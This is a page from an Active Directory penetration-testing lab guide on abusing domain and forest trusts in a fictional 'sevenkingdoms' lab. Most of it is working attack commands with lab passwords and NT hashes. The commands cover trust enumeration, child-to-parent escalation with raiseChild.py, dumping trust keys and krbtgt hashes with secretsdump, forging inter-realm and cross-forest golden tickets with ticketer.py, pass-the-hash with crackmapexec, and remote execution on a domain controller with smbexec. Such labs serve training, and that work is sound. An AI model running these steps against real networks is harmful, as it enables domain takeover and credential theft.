Skip to content

11

Trust Abuse

We delved deep into attack paths via ACLs in the previous page. This time around, we'll explore the exciting world of domain trust escalation—from child domains up to parent ones—as well as the lateral moves in Forest-to-Forest trust.

By the way, harmj0y has done an excellent job discussing forest trust exploitation. Check out his insights here. Highly recommended! 📚👌

Trust Enumeration

We can enumerate trusts with valid AD accounts.

trust between sevenkingdoms to essos
ldeep ldap -u tywin.lannister -p 'powerkingftw135' -d sevenkingdoms.local -s ldap://192.168.10.10 trusts

trust between essos and sevenkingdoms
ldeep ldap -u tywin.lannister -p 'powerkingftw135' -d sevenkingdoms.local -s ldap://192.168.10.12 trusts

ldap_trust

This tells us that there is a FOREST_TRANSITIVE | TREAT_AS_EXTERNAL trust link from sevenkingdoms.local and essos.local, due to SID history being enabled. We also learn that there is a FOREST_TRANSITIVE trust relationship between essos.local to sevenkingdoms.local too.

In BloodHound the trust relationship becomes even more apparent and visualy demonstrates the domain bi-directional (Child/parent) trust between north.sevenkingdoms.local & sevenkingdoms.local and the forest bi-directional trust between essos.local and sevenkingdoms.local

bh_trusts

Domain Trust Abuse (child/parent)

Golden Ticket

In earlier steps in the labguide, we were able to compromise the north.sevenkingdoms.local domain and as such we have access to all of the NT account hashes for that domain. A super quick way to hop from the child to the parent domain in this scenario is to leverage the raiseChild.py impacket script with a domain admin level user account to privilege escalate to the parent domain. The script will create a golden ticket for the forest's Enterprise Admin user, log into the forest and get the target domain's NT Hash. Pretty slick!

raiseChild.py
raiseChild.py north.sevenkingdoms.local/eddard.stark:'FightP3aceAndHonor!'
raiseChild.py

We can test the sevenkingdoms.local Administrator hash with crackmapexec to prove that our Golden Ticket attack worked.

cme smb 192.168.10.10 -u Administrator -H ':c66d72021a2d4744409969a581a1705e' -d sevenkingdoms.local

cme

The raiseChild.py script performs this the attack chain in one step, but can also be performed piece meal from linux using secretsdump, lookupsid & ticketer from impacket in order to perform the Golden Ticket attack.

A good blod post in order to fully understand how this is possible can be found here

Inter-realm TGT

We can also privilege escalate from the compromised child domain to the parent by extracting the trust key and using it to forge a trust ticket.

First, we need to obtain the trust key from the child domain via the netbios name of the domain in the ntds file.

getting child trust key
secretsdump.py -just-dc-user 'SEVENKINGDOMS$' north.sevenkingdoms.local/eddard.stark:'FightP3aceAndHonor!'@192.168.10.11
trustkey

To accomplish this, we need to gather some information, namely the child and parent domain SIDs.

getting domain SIDs
lookupsid.py -domain-sids north.sevenkingdom.local/eddard.stark:'FightP3aceAndHonor!'@192.168.10.11 0
lookupsid

We can also find the respective domain's SID in BloodHound.

SIDBh

Next, we need to forge our ticket by setting the spn to target the krbtgt of the parent domain, using the nthash of the trust key, the domain SID of north.sevenkingdoms.local as well as the domain SID of sevenkingdoms.local with the added RID of 519 to designate an Enterprise Admin.

forging interealm tgt
# SEVENKINGDOMS$ - c97c5cbe698b64ac0e1b3de8785198f8
# north.sevenkingdoms.local SID - S-1-5-21-3456130563-3564936963-872552549
# sevenkingdoms.local SID w/RID 519 - S-1-5-21-2377746942-1868729182-3144119735-519
ticketer.py -nthash 'c97c5cbe698b64ac0e1b3de8785198f8' -domain-sid S-1-5-21-3456130563-3564936963-872552549 -domain north.sevenkingdoms.local -extra-sid S-1-5-21-2377746942-1868729182-3144119735-519 -spn krbtgt/sevenkingdoms.local trustfakeuser

Armed with the forged TGT to the parent domain, we can ask for a service ticket to sevenkingdoms.local

passing forged TGT
python3 ./getST.py -k -no-pass -spn cifs/kingslanding.sevenkingdoms.local sevenkingdoms.local/trustfakeuser@sevenkingdoms.local -debug
As mentioned, kerberos timing is extremly finicky and due to the KDC time variations this might not work as intended in the lab environment, however in a normal production Active Directory domain this will work.

Forest Trust (sevenkingdoms.local -> essos.local)

In this section we will attempt to exploit a forest to forest trust relationship.

Foreign Groups & Users

To hop trusts we can simply utilize a compromised user that is a member of a group with Foreign Group Membership or add another user to the AcrossTheNarrow sea group, which has cross forest domain permissions.

This can be clearly visualized in BloodHound.

Alt text

Alt text

Alt text

Golden Ticket With External Forest (essos.local->sevenkingdoms.local)

Since SID history is enabled on the sevenkingdoms.local to essos.local trust relationship we can create a golden ticket to grant us Admin access on the trusted forest. As before we will need the essos & sevenkingdoms domain SIDs and the krbtgt hash of essos.local

We already have the first two pieces of the puzzle, so lets grab the final one.

getting essos krbtgt
secretsdump.py -just-dc-user 'essos/krbtgt' essos.local/daenerys.targaryen:'BurnThemAll!'@192.168.10.12

In order for this to work, we need to target a group with a RID of greater than 1000 due to the SID filtering. Exchange groups are a usual goto here, but in the lab we will use the dragonrider group that fits our requirements.

dragonrider

Lets create a golden ticket for a fake user named 'dragon2' with ticketer.py.

creating golden ticket
# essos/krbtgt - 802143c56c8cc3505fb460e6121fdc7b
# essos SID - S-1-5-21-2981968020-1564274132-3068320202
# dragonrider group - S-1-5-21-2377746942-1868729182-3144119735-1112
ticketer.py -nthash '802143c56c8cc3505fb460e6121fdc7b' -domain-sid 'S-1-5-21-2981968020-1564274132-3068320202' -domain essos.local -extra-sid 'S-1-5-21-2377746942-1868729182-3144119735-1112' dragon2
Now we can export the ccache for our fake user and utilize it to access the kingslanding DC!
smbexec.py -k -no-pass dragon2@kingslanding.sevenkingdoms.local -debug

Alt text Alt text